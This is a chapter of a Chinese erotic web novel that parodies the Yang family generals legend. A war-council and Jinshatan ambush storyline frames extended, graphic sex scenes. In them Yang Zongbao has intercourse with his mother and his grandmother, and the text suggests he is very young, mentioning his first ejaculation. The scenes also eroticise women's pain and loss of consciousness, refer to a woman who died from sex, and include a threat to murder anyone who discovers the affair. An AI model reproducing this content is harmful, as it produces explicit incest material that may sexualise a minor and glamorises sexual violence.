热门搜索






[武侠]江湖艳情录(全本)-7

  



第四回:杨令公梦知天命柴艳红亲授淫技

多年的宋辽之战,使双方的兵将早已怨倦,但是两国的君主,为了自己那可怜的脸面和君临天下的野心仍在征战不休。但是残酷的现实,让安于享乐、不堪忍受前线凄苦的宋太宗,私下打起了退堂鼓,一心只想议和。

作为大宋王朝的军中副元帅,杨业怀着对宋天子的赤胆忠心,却无法领会宋太宗心想议和的意图,而太宗为了自己的颜面,也不好明言。

就在宋太宗战和两难之时,辽兵适宜的送来请和书,两国相约,在金沙滩相会议和,从此不再交兵。这对于宋太宗来说无疑是件天大的好事,想也不想就答应来使,在金沙滩相会。

事后同杨业一说,杨业就隐隐约约感到有点不妥,害怕辽兵就此设下埋伏,将前去议和的宋太宗和八王爷劫为人质,以此要挟大宋屈服。他把心中的担忧一说,宋太宗立马害怕起来,就连忙表示自己决不去赴宴!一切有杨业全权负责。

在这种情况下,既要保护皇上不受侵害,又要顾及皇上的尊严,杨业无奈向宋太宗献上一条李代桃僵之计:由长得极像皇上的杨大郎冒充宋太宗,由杨二郎代替八王爷赴会,杨业率三郎、四郎、五郎、六郎、七郎保驾护航,以防不测!怕死的宋太宗连忙赞同此计。

各方准备就绪,就在赴会前的那天晚上,杨业巡视完准备的情况后,回到帐中又仔细地思考了一遍明天的各种应对方案,朦胧中昏昏欲睡,就觉着自己慢步走出军帐,摇摇晃晃好像回到了京城,离多远看见火光冲天,细辨竟然是自己府中着火,等他走到跟前,大火早已熄灭,自己的家也变得不敢认识了,门口的家将对自己也不理睬,刚想发火,从里面走出一群女人围着一个男人有说有笑,朦胧中认出佘赛花和六娘柴郡主,上前相认,大家对他也不理不睬。

转眼间,眼前的府院,消失得无影无踪,正在茫然间,走来五个浑身是血的大汉,叫到:“别看啦,我们该走了。”刚想辨认是谁,几人转眼间就不见了。

困惑中他走到郊外,见一白发老者拄着拐杖颤巍巍向他走来,仔细辨认原来是自己的祖父,杨业赶紧上前使礼,老人说:“鸠占雀巢!还不清醒!”说着举起拐杖劈头打向杨业……

杨业大吃一惊,突然醒来,竟是南柯一梦!

杨业惊出一身冷汗:“难道上天要我杨家命丧金沙滩?”连忙派亲兵叫来有帅才的六子杨延昭。

杨业见六郎走进帐篷,亲兵退出后。为了怕影响六郎的情绪,梦中所见也不对六郎说。就问:“六郎,明天赴会的事,还有什么没有准备好的吗?”

六郎说:“爹,明天该准备的事情,我刚才又都检查了一遍,我看也没有什么遗漏的了。又特别交代了七郎,明天决不能喝酒,寸步不离战马和兵器。那二百名亲兵,也都是跟随我们多年,能征惯战的勇士。”

杨业点点头说:“六郎,在你们七个孩子当中,你是最有帅才,智勇双全。说实话,你认为我们能安全脱险的机会有多大?”

六郎抬起头担忧的望了一眼杨业说:“爹爹,明天我看你就别去了,由我带兵保护大哥他们吧?”

杨业站起身来,走到他身边,爱惜地拍了拍他的肩膀,叹了口气说:“傻孩子,我怎么能不去哪?让你们自己去我怎么能放心呢?君命难违,我不去,辽兵也不会相信你们是保护皇上去赴会的。”

六郎说:“可是你……”

杨业抬手打断他的话,严厉说:“明天一切你都要听我的,这是命令!”瞪视着他的双眼六郎答应道:“是,爹爹!”

杨业缓和了一下口气接着说:“明天,不出现意外便罢,一旦出现意外,我们父子尽量不要分散,你注意保护七郎,你俩一定要冲出重围,搬取救兵后再来接我们!”

六郎插话说:“爹,我来保护你!”

杨业说:“你别打断我的话。如果出现意外,不论出现什么事,你千万不要意气用事,一定要冲出重围,我们杨家以后就全靠你了!”说着紧紧地握住他的手。

六郎说:“爹爹你放心!”

杨业说:“你千万不要辜负我对你的期望!”

六郎点点头,喉咙哽咽,说不出话来。

杨业笑了笑,又宽慰他说:“对了,兰英她们走了几天了?快到家了吧?”

杨六郎想了想回答道:“她们已经走了十几天了,算算就在这两三天就能到家的。”

杨业叹了口气说:“唉!她们就要到家了!”

六郎说道:“她们要晚回家几天就好了,兰英、琼女、排风都有万夫不挡之勇,让她们三人同我们一起赴会,安全系数也大点。”

杨业摇了摇头说:“好了,你回去休息吧!”

六郎告辞退出。杨业看着他走后,两颗硕大的泪珠滚了下来……

杨六郎走出帅帐,抬首观看夜空,就见一颗流星划破星空,五颗硕大的星斗摇摇欲坠,不禁长叹一声:“唉……我杨家世代忠良,金沙滩这一劫,难道就躲不过去吗?”……

在此同时,远在千里之外的京城杨府,佘赛花的床上,又是一番景色……

三娘周春华躺在床上两手早已把小穴掰开,催促杨宗保说:“好宗保,快点来吧!”

杨宗保一见三娘周春华躺在床上两手早已把小穴掰开,也来不及细看,把自己那巨大的鸡吧对准她的小穴,腰上一使力,“噗”的一声冲进重围,立马厮杀起来……

三娘周春华只觉得杨宗保的鸡吧粗大异常,把自己的小穴塞得满满的,抽送起来磨得自己快活无比,不由自主地说了声:“真舒服!”

杨宗保也不应声,只是发狂般的抽送,把个三娘周春华操的浑身乱抖,口中呼呼直喘,呻吟连声……

佘赛花见他俩已经干上了,自己这时也难以忍受,就上床和三娘周春华并排躺下,把手里的假鸡巴递给六娘柴郡主说:“郡主,来,帮我止止痒。”

六娘柴郡主两眼盯着杨宗保,见他只是简单的一个动作,双手撑在床上,趴在三娘周春华身上,来回地抽插,心想:“他太强了,也太单纯了。说他太强,一是他这么小就能把我和婆婆干到大声求饶,不是自己亲身经历,根本就不会相信;二是,他那鸡吧简直太大了,这是我第一次见到的巨物,他爹六郎的鸡巴,就已经比常人大了许多,我以前还庆幸自己找到了一个强壮的男人,现在看来,我简直是井底之蛙!

说他单纯,一是他毫无技巧,只是单纯的强冲强抽,现在我们不是他对手,等到以后小穴适应了他的巨棒,他就很难再把大家干的求饶了!二是他不知道保存实力,床上游戏和战场上打仗是一个道理,也需要使用各种计谋,不然的话,弱兵也会打败强敌的!再说,他这样的姿势是男人最费力气的,而女人是最省力最容易打败男人的。

嗳!婆婆她现在光顾享受了,也不提醒他!一点都不知道爱惜他!我现在已是……是他的人了,我……我得帮帮他,等没人时我得好好调教调教他!“她光顾自己想心事,连佘赛花叫她也没听见。

佘赛花见她在呆呆地出神,自己叫她也没听见,以为六娘柴郡主还没从母子乱伦的突发事件中解脱出来,就不耐烦地说:“郡主,事情已经发生了,现在再后悔也没用了,你也不想想,除了他谁还能让你这样满足?再说只要我们齐心协力,保守好秘密,别人谁也不会知道的。再说,不论他是谁,只要发现我们的秘密,要么加入我们行列,要么我们就杀人灭口!我们只要瞒住六郎他们爷几个就行了。有什么好怕的,别再犹豫了,快来帮我舒服舒服。”边说边用手中的假鸡巴,碰了碰六娘柴郡主的手。

六娘柴郡主这时才惊醒过来,见佘赛花这样误会她,也不说破,伸手接过假鸡巴,爬上床来,坐在佘赛花的身边,心不在焉地用假鸡巴攮入佘赛花的浪穴,有一下没一下的抽插起来。

佘赛花感到欲火更加难耐,这样不着边际的玩弄使她怒气上升,不满的说:“艳红,你怎么了?快点!”

六娘柴郡主见她催促,就立即使劲加快速度,次次都最大限度地把假鸡巴插到极限,把佘赛花快乐得和三娘周春华一起比赛着淫叫。

看着佘赛花的淫态,六娘柴郡主继续想着她的心事:“哼!看你浪的!在人前是一位叱吒风云的巾帼英雄,装得就像贞妇烈女一样,在我们面前整天拿着婆婆的架子,对我们训训斥斥的。今天,一叫宗保干过以后,连‘好老公’都叫出来了,还逼着我们和她一起叫宗保‘老公’,真不要脸!”想着,又把手上的假鸡巴加了几分力,只见佘赛花眯着眼,两手使劲地压揉着她那硕大丰满的乳房。

六娘柴郡主又感到穴中有点痒,一股淫水流了出来,就想把那露在佘赛花穴外的半个假鸡巴,塞入自己的小穴。

刚把假鸡巴对准小穴,就想:“不行!从今以后,我的小穴就不属于我自己的了,它是属于宗保的了,他让它干什么它就干什么,没有他的同意,我决不能再把别的什么东西放在它里面了!就是以后六郎回家,我也不会再主动去招惹他了。我一定要好好拴住他的心,让他……让他永远都离不开我!”

再说这边,三娘周春华虽是一位久经阵仗的常客,但她何时遇到过这样强壮的男人。也就是一柱香的时间,就被干的口干舌燥,杨宗保的每次抽插,就好像要把她的小穴撑裂、抽干,连自己的子宫都像要被他给拽出来一样。虽是享受到从未有的快乐,但受到的痛苦竞比快乐还要多上几分!

到这时,她的叫声已经变得嘶哑了:“哎哟……哎……哎……痛死我了啦…你……好狠心哪……”

佘赛花一见三娘周春华到了这个光景,就对杨宗保媚笑着说:“好老公,你就饶了她吧!你看她都快美过去了。你快来插我的穴吧,我好痒啊,求求你快来干我吧!”

杨宗保并不理会她,继续用力地干着三娘周春华。

三娘周春华只有大声求饶了:“啊!……唔……哼……嗯哼……求求你……我不行了……我……快要被你干虚脱了……哎哟……不行……你先干她们吧……让我歇歇……我不行了……饶了我吧……宗保……”

杨宗保一听三娘周春华叫他‘宗保’,就有点生气,一边狠劲地用鸡巴捅了几下,一边责备道:“你叫我什么?”

三娘周春华断断续续的说:“我……我……叫你……你……”话未说完,屄心就破了,一股阴精喷出,头向一边一歪,她快活地昏了过去……

佘赛花看三娘周春华昏了过去,拔出小穴里的假鸡巴,对杨宗保说:“好老公,你就饶了她这一回吧,快来使劲干我的小浪穴,它好想让你来插它!”

杨宗保又使劲地干了几下,见三娘周春华毫无反应,拔出鸡巴说:“饶了你这次,下次再叫我‘宗保’,看我怎样收拾你!”挪一下身,就和佘赛花干在一起……

六娘柴郡主这时早已识趣地让在一边,一边玩弄佘赛花的乳房,一边暗想:“看来我以后对他要多加注意,春华叫他一声‘宗保’他就会生那么大的气,这冤家的话看来是不能违反的。我叫他宗保都习惯了,我……我……我怎么好意思叫他‘老公’呢?我毕竟是他亲娘,怎能叫自己的儿子‘老公’呢?……可是,我再叫他‘宗保’,他肯定会生气的。”

六娘柴郡主伸手摸了摸还有点发痛的小穴:“唉!我的小穴也太不争气了,万一得罪了他,他要是单单的惩罚它,不论他怎样干我都不怕!可是,如果他以后不愿意再玩它了,那我将如何忍受得了?”

从此以后的六娘柴郡主,再也不为自己考虑什么了,一心一意只为了让杨宗保高兴,为了获得他的欢心竟然生出许许多多的奇思异想的念头,为他以后的荒淫生活,助纣为虐,推波助澜!

女人就是这样的奇怪,没有遇到自己心爱的男人时,一个个都表现得高傲无比,目空一切,看不起每一个男人,但是一旦被哪一个男人彻底征服,不论她的地位有多高,身份有多特殊,都会变成一个毫无智力,非常愚蠢的笨女人。为了让心爱的男人高兴,不管对自己好不好,她都会全心全意地为这个男人着想,为他去做自己本不想去做的事,那怕为他去死!

现在,佘赛花和六娘柴郡主就是这样,只是她们自己还未意识到而已。

佘赛花表现在为他去找更多的女人供他来玩,满足他的性欲,虽然她现在的目的是为了战败他和堵住别人的嘴,以便使自己能够长期的和他在一起,但结果是一样,否则,她就不会放弃亲情,不顾自己的丈夫孩子,采取种种手段软硬兼施,逼迫六娘柴郡主和周春花等人,同杨宗保干出这样的事来!

在她的计划中这还只是个开头。

而六娘柴郡主表现在,处处为他着想,不想让他受到一点伤害,担心他会被这些女人战败、搞垮,只想帮助他更强更好,体现出女性温柔的一面,也是她母爱的一种表现。

也就是因为有她两人这样无私的“奉献”,一个是为了满足他种种变态离奇的需要,而奋不顾身;一个是为他想出各种玩弄女人奇怪方法,而竭尽心力。在她俩的保驾护航之下,杨宗保在以后的人生经历,才能如鱼得水,左右逢源,也使杨宗保再也离不开她俩,这点在此表过,后文详叙。

六娘柴郡主见趴在佘赛花身上的杨宗保,经过半个多时辰的连续运动,额头和鬓角泌出许多汗水,爱惜地拿起手帕,帮他把汗水擦干。

杨宗保回头感激地看了她一眼,对她点点头。这就令六娘柴郡主激动不已,连忙伸手帮助他按摩腰背。

在六娘柴郡主柔软的手指仔细地帮住下,杨宗保身上的那点疲劳早已消失的一干二净,心想:“到底是自己的亲娘,知道爱惜自己,怕累着我了。不过,她也太不了解我了,才刚玩过你们三个,就能把我累坏了?她知道疼我,我以后也不能亏待她。”转头想让她歇歇,正巧碰在她那丰满的乳房上。

六娘柴郡主以为他要吃她的乳房呢,连忙把自己的一个乳头塞进他的嘴中。杨宗保自从断奶以来还是第一次吃到女人的奶子,这种强烈的诱惑,竟使他异常兴奋!

六娘柴郡主看着他感动的目光,心中不由得升起了几分得意:“虽然你很强壮,老娘的小穴不是你的对手,但是你还很嫩,这点阵仗就让你心怀感激,以后让你更激动得多的事情多的是!我就不相信你能逃出老娘的手心!回来我得抢在她们前边,先拴住他的心。”想到这里,趴在杨宗保耳边小声说:“好老公,你快点把她干昏吧。”

杨宗保吐出乳头,贴在她耳边调侃道:“怎么,你的小穴又痒了?”

六娘柴郡主红着脸说:“你别取笑我了,等一会,我有要紧话要说。”

杨宗保看看身下两眼瞪得突圆,双手把自己乳房揉弄得一会儿扁扁地贴在胸前,一会儿又挤在一起,两颗紫玛瑙般的乳头粘在一起,争奇斗艳,张着大嘴浪叫不停的佘赛花,对六娘柴郡主说:“好吧!马上就好!”

杨宗保也不再含着六娘柴郡主的乳头了,向佘赛花发起一阵狂风暴雨般的冲击。只见杨宗保不再是像以前那样大开大合了,而是加快频率,抽插幅度极小,使佘赛花的高潮一波接着一波,根本不给她喘息和品味的机会。

这时的佘赛花根本来不及运功抵抗,唯有大声的叫床了:“啊…喔…天啊…酥美死我了…呜…呜…不…不行了…求求你了…你干慢点吧…我实在受不了了…噢…噢…噢…我要泄了…我…我…要丢了…艳…艳红…你快帮我求求他…我快不行了…啊…啊…唔…不…不…我忍不住了…我…”就见佘赛花兴奋地两眼一翻,身子一哆嗦,头向旁边一歪,也昏睡过去。

杨宗保就感到一阵阵滚烫的阴精喷激着自己的龟头,美妙的快感袭上心头,刺激得他更加兴奋,并不因为佘赛花已经毫无反应而放弃干她,频率更加快了。

六娘柴郡主见他这样兴奋,一时也不敢打扰他,心想:“太没有经验了,也太浪费了。这么好的阴精,不知道吸收利用,看来他还没有修炼过吸阴壮阳一类的功夫,我是不是要教他一些呢?他现在已经这么利害了,再学会了壮阳功夫,那还得了!可是,我不教他,别人也会教他的,与其那时让他感激别人,不如让我来教他了。对,这样我才能拴住他的心,让他体会到性交的真正乐趣!”

六娘柴郡主看到杨宗保已经放慢了速度,就小声对他说:“你歇歇吧,我…我有话要对你说。”

杨宗保虽然和她们三人都发生了关系,嘴上要她们都要听他的话,但内心一点底都没有,干她们时听着她们说些浪话的,胆子还壮点,这时听到六娘柴郡主有话要对他说,多年来积淀下来的惧怕心态还没有完全克服,赶紧收住,并不情愿地从佘赛花身上,爬了起来,问:“娘,你有什么话要说?”

六娘柴郡主心中一荡:“看来他现在是外强中干,在心态上还没有完全把自己摆在主人的位置,我要利用他这点。”拿眼斜视着他,笑着不答。

杨宗保被她看的心里发毛,不知怎样是好,又紧张地轻轻问道:“怎么了?你……你有什么话问?”

六娘柴郡主说:“你不想想,我能没话说吗?这事难道就这样完了不成?”

杨宗保说:“我……事情我都做了,你刚才不也都同意了吗?你……你要反悔吗?”

六娘柴郡主故意说:“我是想反悔,可你能让我恢复到昨天吗?”

杨宗保老实的说:“我不能!可是我答应了以后决不会离弃你们的,我说话算数,不会变卦的!”

六娘柴郡主欲擒故纵的说:“孩子,你想了没有,我毕竟是你的亲娘啊!等你爹回来后,我们怎么办?”

杨宗保说:“这我没想过。不过她不是说有办法对付吗,我们做隐蔽点不就行了吗。”

六娘柴郡主说:“这只能瞒一时不能瞒一世的。嗯,事情我们也都做了,再说也没什么意思了。好了,先不说这些了。那我问你,你在干那事时心里是怎么想的?”

杨宗保来了劲头,指着佘赛花兴奋地说:“我干她时我就想,把她干到大声求饶,她越求饶我就越兴奋,再想到她是我亲奶奶,我就有使不完的劲,就想更加使劲地干她!”

六娘柴郡主喏喏地问:“那你……你在干我时怎样想的?”

杨宗保说:“说实话,我刚才干你时并不知是你,要知道是你,我…我…”

六娘柴郡主追问道:“你怎么想?”

杨宗保看了她一眼说:“我都后悔没能痛痛快快地干你一场!我在干她时,就把她当成你了。”说着向周春花一指,挺了挺巨屌又说:“你看它,冲你有多高兴!”

六娘柴郡主看着他那昂立的巨屌,宽慰他说:“你先歇歇吧,别累坏了。”

杨宗保说:“我不累!它在外边才不舒服呢,放在小穴里它才会快乐。”

六娘柴郡主说:“那好吧,你躺在床上,我让它舒服!”

杨宗保疑惑地问:“我躺在床上,它怎么舒服?还是你躺在床上吧。”

六娘柴郡主说:“听话,放心,我会让它舒服的!”

杨宗保顺从地躺好。

六娘柴郡主抬腿跨在杨宗保身上,把小穴对准他的鸡巴,慢慢地向下坐去,忍住疼痛“噗嗤”一声全部吞入穴中,一边暗运“玉女神功”,使阴壁不停地蠕动,把个杨宗保舒服的不知道说什么好了。

六娘柴郡主问:“怎么样?舒服不舒服?”

杨宗保连连点头说:“谢谢你!我真的好舒服!就好像我自己在抽动一样,而且还可以仔细回味其中的乐趣。我还不知道干这样的事还有这么多的花样。”

六娘柴郡主笑着说道:“这算什么,这种事的花样可多了,怎么样,想不想学?”

杨宗保说:“好!你来教我吧!”

六娘柴郡主调笑着说:“我可以教你,那你得拜我做师傅。”

杨宗保说:“教不教在你,师傅我是不会拜的。不过,如果你来教我,我会把你当作我的左膀右臂,我会更疼你爱你的。怎样?”

六娘柴郡主说:“你说话可算数?不会变卦吧?”

杨宗保狠劲地向上顶了她几下,见她求饶后才说:“记住,今后不准怀疑我的话!下次再怀疑我,看我怎样惩罚你!”

六娘柴郡主忙说:“对不起,你别生气,今后我再也不敢了。”

杨宗保说:“好了,别说废话了,快说还有什么花样?”

六娘柴郡主说:“你的鸡巴确实太大了,你要是再使用那些花样,那我们都会被你活活干死的。我先教你怎样把鸡巴任意变大变小,好不好?”

杨宗保好奇地问:“鸡巴还能变化?”

六娘柴郡主说:“那当然了,让它变小容易,让它变大可就难啦。不过你放心,我是说只能让它暂时变大变小,并不是说让它变小以后就不能变回来,否则我也舍不得让它变小的。”

杨宗保放心地说:“你吓了我一跳,我可不愿意让它变小,我还要让它把你们全都征服呢!快说怎样练?”

六娘柴郡主说:“咱家有一部‘龙阳神功’收藏在密室中,你明天让佘赛花献给你,里面的功夫我也没见过。我先把我练的‘玉钳功’和‘涨穴术’的练功秘诀说给你,你看看是否有效。我想原理是一样的。”说完就把练功秘诀,背给他听。

杨宗保按照秘诀练了一会,感到鸡巴随着自己的意念,可以慢慢地跳动,虽然身子不动,但也可感到鸡巴微微缩动,他知道这是自己刚刚开始修炼,时间长了就会大成,于是说:“嗯,不错,很有效,等天明后我自己再正式修炼。你再说,还有什么花样?”

六娘柴郡主说:“这种床上游戏,是万物生灵天生就有的本能,自远古时期的黄帝和玉女首创了‘黄帝九式’和‘玉女八法’以来,经过几千年的发展和完善,到现在恐怕得有上千种的游戏方法,不过基本上都是从‘黄帝九式’演化来的……”

杨宗保不耐地催促道:“快说‘黄帝九式’是什么?”

六娘柴郡主赶紧说道:“‘黄帝九式’,一曰‘龙翻’、二曰‘虎步’、三曰‘鹤交颈’、四曰‘兔吮毫’、五曰‘鱼接鳞’、六曰‘龟腾’、七曰‘猿搏’、八曰‘蝉附’、九曰‘凤翔’……”

杨宗保听她说了半天,也没有完全明白,就打断她的话道:“这些具体的玩法我可不想这么斯文,我只想随心所欲,天马行空,想怎么玩就怎么玩。”

六娘柴郡主“噗嗤”笑了一声,用手点了一下他的额头,说:“我就知道你不会墨守陈规的。不论什么事,做到随心所欲、天马行空,就能享受到最大的乐趣!”

杨宗保翻身把六娘柴郡主压在身下,六娘柴郡主那洁白光滑的肉体就展现在杨宗保面前。

这是杨宗保第一次仔细观看女人的身体。

别看六娘柴郡主生过两个孩子,但今年只有二十八岁,而且又属于那种保养得很好,很风骚美丽的少妇。

首先那苗条的身段就如少女般的光滑和洁白,丰满但决无半丝赘肉。两个乳房耸然挺立,硕大而饱满,两个乳头因为受到刺激,像两颗紫珍珠一样,叫人垂涎欲滴。

六娘柴郡主的小穴被浓密的阴毛覆盖的严严实实。如果不是被杨宗保连续干了两次,小穴早已淫水泛滥,滴滴淫水象露水般挂六娘柴郡主那浓密的阴毛上。这样透过阴毛,才隐约可以看见六娘柴郡主那两片肥厚的阴唇和热腾腾、湿淋淋的阴道。

六娘柴郡主被杨宗保看得不好意思,双腿向一起并拢。

杨宗保伸手就把它们分开。

六娘柴郡主立马意识到自己的不对:“我太不应该了!刚才还想把他牢牢的把持住,怎么又让他生气了!”伸手把小穴掰开。

这时,杨宗保已经没兴趣观看她的小穴了。

杨宗保把他那巨大的鸡吧,慢慢塞入六娘柴郡主的小穴。

六娘柴郡主“畏缩”地迎合着杨宗保的进攻,她就像一个在沙漠中经过长途跋涉、被饥渴深深困扰的远行者,突然发现了一眼有“毒”的泉水,明明知道自己把它喝进肚里,将会带来意想不到的危害。可是,难以忍受的饥渴,让她顾不得以后发生的事了,一切只顾眼前!

柴郡主开始主动迎合杨宗保的进攻,她要弥补长期以来的“饥渴”,而这场快意的“畅饮”,竟是自己儿子带来的!那种乱伦带来的精神上的“快意”和肉体上的满足,把她一次次地送上快乐的极限!

柴郡主自幼生长在帝王之家,从小受到的是“非礼勿视、非礼勿言、非礼勿听、非礼勿行”的传统的儒家思想教育,在她心目中,“伦理道德”长期占据着她的整个灵魂!同时,帝王家那种纵欲任为、荒淫无道的糜烂生活,又是她自幼司空见惯的了。长期以来,这两种泾渭分明的两种观念,一直困扰着她的心灵!

但是今天,柴郡主跟随着自己的婆母佘赛花,无意中走出了乱伦的第一步。到现在,她已经从惊愕、斗争、彷徨、迷茫,转变到追随、爱恋了!她眷恋杨宗保带给她的这种精神和肉体的双重快感!

女人一旦到了这种痴迷的境界,她思想的就不是自己,而是令她迷恋的那个人,哪怕是牺牲自己的性命,只要是能给那个人带来快乐,她也会不计后果的,无疑柴郡主对杨宗保已经进入到这种境界了!

她忍受住小穴传来的阵阵“痛苦”,拚命地迎合着杨宗保,要把最大的快乐带给杨宗保。

杨宗保见她开始主动迎合自己,以为自己这种温柔的插动,不能令柴郡主得到“性福”,不由自主地加大了进攻的力度!

柴郡主那早已吃饱的“胃口”,早已强弩之弓了,如何还能再次迎战□直插得柴郡主眉头紧锁、媚眼迷濛、樱口怒张,喉咙中发出“嗷、嗷”的叫声,两手死死地抓住床单,两腿努力的伸直!

柴郡主的怪模样吓坏了杨宗保!

杨宗保朦胧中知道这是柴郡主不堪自己的一种反映!秋荷的命丧黄泉、佘赛花的不堪忍受、周春华的昏迷,一再告诉他,自己若再不慢下来,一味的享受快感,柴郡主的“下场”是自己无法预料的,他可不想让秋荷的悲剧在自己亲人身上得到重演!

得到喘息的柴郡主瘫软在床上,体味着其中的滋味,既害怕又期盼着杨宗保再次的进攻!

她既害怕杨宗保的“残忍”、又恋眷“残忍”过后的快感,更担心以后无法享受到这些“痛苦着的快乐”!她已做好了更多的心理准备,等着杨宗保在她身上的任意驰骋。初入“沙场”的杨宗保,在六娘柴郡主这位见惯阵仗、经验丰富的“疆场老将”面前显得更加“稚嫩”,通过杨宗保表情的变化,一言一行、一举一动,杨宗保的内心世界完全表露在她的面前了!

所谓知己知彼,百战不殆!六娘柴郡主一旦掌握了杨宗保的“精神意志”,要想俘虏他的心,简直就是事半功倍!

休息过后的柴郡主一双媚眼,一闪一闪,嘴角露出荡人心魄的微笑,闪露出一点点期待又不堪受苦的神情。

六娘柴郡主的努力没有白费,杨宗保就像瘾君子见到大烟,既兴奋又紧张;既想提枪上马上阵厮杀,又怕对手不能抵挡!可是看着柴郡主这种淫荡的美态,却也给他带来了许许多多,从未有过的享受!多年来,对自己母亲养成的孝顺、敬爱,瞬时转化成“爱”和“占有”!

杨宗保怕她难以忍受更大的痛苦,轻轻地抽出鸡巴,又慢慢插了进去,一抽一插,慢慢地体会其中的滋味。

六娘柴郡主感到这种滋味虽然舒服,但缺少了更多的回味,她鼓励地迎合着杨宗保的进攻。

杨宗保感到自己母亲的小穴里,随着自己抽插次数的增多,淫水充满了整个小穴,而她淫声浪语也充满了整个房间。

杨宗保听着这些“天籁之音”,就像士兵听到了冲锋号,兴奋、激动,需要去拚命厮杀!

杨宗保越干越猛,越插越兴奋。

六娘柴郡主浪叫着,再次泄出了她的阴精,在一声“饶了我吧!”的求饶声中,再次昏过去……

杨宗保也停住抽插,舌头贪婪地吸吻着六娘柴郡主的香莲,两手死死抓着柴郡主那对丰满异常的豪乳,鸡巴紧紧顶住小穴深处!

柴郡主那对娇嫩的乳房被他抓得不住的变换着形状,小穴的抖动刺激龟头传来一阵阵难以忍受的快感,杨宗保腰间发酸、发麻,一阵哆嗦,鸡巴不住抖动,龟口就像黄河决口一样,势不可挡!杨宗保竟然把他的第一次射精,献给了自己的生身之母——六娘柴郡主!

杨宗保并不知道男人在兴奋时也会射精,射过以后也感到了有点疲劳,毕竟是连续作战,他这个“新兵”,还不是很适应。

杨宗保搂着六娘柴郡主的身体,休息了一会,他那巨大的鸡吧软软的浸泡在小穴里。

“初生牛犊不怕虎”,杨宗保不愧是一名即将成为将军的“新兵”,他那把“锐利的武器”在六娘柴郡主小穴里,很快又恢复了活力!

杨宗保看看身边昏睡的三个女人,心想:“我娘不能再干了,让她好好歇歇吧!这两人还不能轻饶了。”………

第五回:杨家将代君赴会张金定逞强鏖战

话说杨宗保把佘赛花等人,一个个干的实在不能再承受他那巨大的鸡巴冲击了,才在佘赛花的淫穴里射出他第二股阳精,持续一夜的淫乱终于结束。

杨宗保看着瘫软在床上的三个女人,仍不依不饶地问道:“怎样?你们服输了吧?告诉你们我还没有尽兴呢!”

被杨宗保干的最轻的三娘周春华强打精神说:“我们认输了!求求你饶了我吧!我实在是不行了!”

杨宗保挺挺还未完全吃饱的巨鸟,对佘赛花说:“我这僧斋不饱,还需奶奶慈悲!”

佘赛花有气无力地说:“我也不行了,壁橱里有‘清心御火丹’,你吃了先忍忍吧!”

杨宗保说:“好吧!那你们晚上还要在这里等我!”

佘赛花勉强地说:“好吧!那你晚上吃过饭就来,不要来太晚了。”

杨宗保说:“好!不见不散!”

六娘柴郡主应道:“不见不散!”

杨宗保又说:“对了,那本‘龙阳神功’,晚上给我带来。”

佘赛花一愣,说:“啊……?噢,好吧。”

杨宗保一走,三个疲惫不堪的女人,再也支撑不下去了,相拥着沉沉睡去…——

我是传说中的分割线——

金沙滩,双龙会。

杨家将一早就准备停当,由杨大郎假扮宋太宗、杨二郎顶替八王,在老令公杨业的保护下,杨家七郎八虎同二百名亲兵,准时赴会。

双龙会上,辽邦提出不合理要求,令宋朝无法接受。于是,辽邦使出十条绝户计,准备炸毁双龙台。

辽王藉故要方便,离开双龙台。辽兵点燃埋藏的导火索,谁知埋在地下的引线,被杨六郎的战马一泡尿淋湿,无形中破掉辽兵的第一条绝户计。

辽王一见炸药不响,知道第一条计策失败,为了避免令公他们的怀疑,只好再次登上双龙台。

辽王使出第二条绝户计——“项庄舞剑计”,由辽邦猛将阿里达舞剑助兴,藉机刺杀“宋太宗”。

杨六郎挺身而出,与阿里达对剑。一者杨六郎武功高于阿里达,二者杨六郎处处用自己的身体挡住“太宗”和“八王”,阿里达没有一点机会下手。辽邦的第二条绝户计也未能得逞。

辽王一拍手,喝令阿里达住手退下。

这时,辽军师耶律弘站起来说道:“感谢宋王参加双龙会,我们准备了特产‘琼浆马奶茶’,献与宋王和八王殿下。”一挥手,走上来两名辽兵,端着托盘走来。

“宋太宗”站起来,接过酒杯说道:“我们两国多年交兵,今天终于能够坐在一起,商量双方休战罢兵的事,我们应该感谢上苍的眷顾。所以,我借这一杯酒,敬天敬地!”说完,把酒缓缓地浇在地上,地上随即冒起一股白烟,“宋太宗”装作什么都没看见,慢慢地坐下。

“八王”一见就知道酒中有毒,也不点破,站起来接过酒杯,说:“多年以来,两国交战不已,双方均损失惨重。今天我们能够坐在这里谈判,更应该怀念那些牺牲的将士,我把这杯酒敬给为国捐躯的英雄。”说完,也把酒浇在地上。

辽王一见第三条计策又被破了,不禁有点着急。

辽军师萧天佐一看事情有点僵,担心辽王立即翻脸,出来打圆场:“哈哈,快到中午了,大家一边喝酒一边再协商。”

杨六郎担心辽邦再使什么毒招,就在杨业耳边小声说:“父亲,辽邦处处暗藏杀机,君子不处险境,我们还是早回为上。”

杨业点点头对辽王说:“辽王千岁,我们感谢你们的盛情接待。双方君主也都见面了,虽然还未达成一致意见,但双方都有罢兵和好的意向,细节问题大家以后慢慢协商。现在,我家万岁爷身体一时不舒服,我们先告辞了。”

不等辽王反对,“宋太宗”和“八王”起身就走。

辽王一见宋太宗要走,也顾不得颜面了,把酒杯一摔说:“哼,给你们脸还不要脸,金沙滩双龙会岂是你们说来就来说走就走的?”

话音未落,就从两边夹墙里冲出二百名刀斧手,拦住宋太宗的去路。

杨五郎从怀里掏出三支响铃镖,随手抛向天空……

同时,杨六郎突然一个箭步,窜到辽王面前,伸手抓住辽王的左手,把暗藏的短剑架在他的颈上,大声喝道:“快让他们住手,否则大家同归于尽!”

辽王吓得脸色尽变,结结巴巴地说:“快……快……住……住手……”

辽兵一见大王被制,一时都不敢动手,打乱了他们预定好的计划。

杨六郎押着辽王,杨业和三郎、四郎、五郎保护着“太宗”、“八王”慢慢向台下走去……

杨七郎听见响铃镖一响,就知道发生变化了,赶紧牵着战马,率领二百名亲兵向双龙台赶来……

大家骑上战马,由五郎、七郎开道,三郎、四郎左右护卫,杨业居中保护着假扮太宗、八王的大郎和二郎,杨六郎一手擒着辽王,一手提枪殿后……

杨业把大刀一挥下令:“冲!”众人往外就冲……

就在这时,从双龙台后,冲出一女人,大声喝道:“赶紧动手,难道要放虎归山不成!”

辽元帅萧天佑禀报道:“皇后,大王在他们手里,我们投鼠忌器!”

皇后说:“一个大王,能换回宋朝的皇上和八王,再加上他们杨家将,我们很合算,别说了,赶快放箭!”

辽王在下面听了,赶紧叫道:“爱妃,千万不要放箭,快来救我!”

辽皇后假装没听见,催促道:“快放箭!”

萧天佐与萧天佑交换个眼色,相互点点头,萧天佑大声下令:“众儿郎,放箭!”

